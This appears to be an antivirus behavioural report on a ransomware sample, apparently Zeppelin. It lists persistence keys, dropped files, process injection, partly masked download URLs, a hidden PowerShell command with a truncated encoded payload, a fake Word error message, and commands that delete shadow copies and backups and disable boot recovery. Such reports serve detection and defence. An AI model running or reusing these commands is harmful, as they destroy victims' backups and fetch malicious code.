Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'services.exe' = '"%APPDATA%\Microsoft\Windows\services.exe" -start'
Creates the following files on removable media
- <Drive name for removable media>:\delete.avi
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\dial.bmp
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\dialmap.bmp
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\dashborder_96.bmp
- <Drive name for removable media>:\testcertificate.cer
- <Drive name for removable media>:\sdksampleprivdeveloper.cer
- <Drive name for removable media>:\contosoroot_1.cer
- <Drive name for removable media>:\testee.cer
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im 15sp.exe
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcA...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1528
Injects code into
the following system processes:
- %WINDIR%\syswow64\notepad.exe
Modifies file system
Creates the following files
- %TEMP%\1049449.cvr
- %TEMP%\a0d66878.zeppelin
- %TEMP%\aitmp538\auninstall.ini
- C:\ssd\onset\mesager43.exe
- C:\ssd\onset\sata1.bat
- C:\ssd\onset\ztestram.vbs
- C:\ssd\onset\goodram.vbs
- %APPDATA%\microsoft\windows\services.exe
- C:\ssd\onset\15sp.exe
- C:\ssd\onset\81ldp.bat
- %TEMP%\aitmp538\aidatafile.zip
- %TEMP%\aitmp538\aisetup.ini
- %TEMP%\aitmp538\englishai.lng
- %TEMP%\aitmp538\aisetup.zip
- %HOMEPATH%\woi1sao\mf3ogh_\bw99ofg.exe
- C:\ssd\onset\58nfs.ini
- %TEMP%\edb7477f.zeppelin
Deletes the following files
- C:\ssd\onset\01s.rar
- %TEMP%\a0d66878.zeppelin
- C:\ssd\onset\mesager43.exe
- C:\ssd\onset\goodram.vbs
- C:\ssd\onset\15sp.exe
- C:\ssd\onset\ztestram.vbs
- %TEMP%\edb7477f.zeppelin
Moves the following files
- from C:\ssd\onset\58nfs.ini to C:\ssd\onset\01s.rar
Network activity
TCP
HTTP GET requests
- http://te########e.taxauctioninvestors.com/xugin3qu.zip
- http://ge###tool.com/
- http://ip###ger.org/1cyy87.jpg
UDP
- DNS ASK te########e.taxauctioninvestors.com
- DNS ASK ge###tool.com
- DNS ASK ge###tatool.com
- DNS ASK ip###ger.org
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%HOMEPATH%\woi1sao\mf3ogh_\bw99ofg.exe'
- '%APPDATA%\microsoft\windows\services.exe' -agent 0
- '%APPDATA%\microsoft\windows\services.exe' -agent 1
- '%APPDATA%\microsoft\windows\services.exe' -start
- 'C:\ssd\onset\mesager43.exe' /start
- '%APPDATA%\microsoft\windows\services.exe' -agent 2
- '%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\Ztestram.vbs"
- 'C:\ssd\onset\15sp.exe' e -psion0811 01s.rar
- '%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\goodram.vbs"
- '%WINDIR%\syswow64\cmd.exe' /C %TEMP%\~temp001.bat' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AH...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "
- '%WINDIR%\syswow64\timeout.exe' 5
- '%WINDIR%\syswow64\timeout.exe' 4
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "
- '%WINDIR%\syswow64\attrib.exe' +s +h "C:\ssd\"
- '%WINDIR%\syswow64\timeout.exe' 2
- '%WINDIR%\syswow64\notepad.exe'
- '%WINDIR%\syswow64\attrib.exe' -s -h "C:\ssd\onset\mesager43.exe"
- '%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet
- '%WINDIR%\syswow64\cmd.exe' /C %TEMP%\~temp001.bat
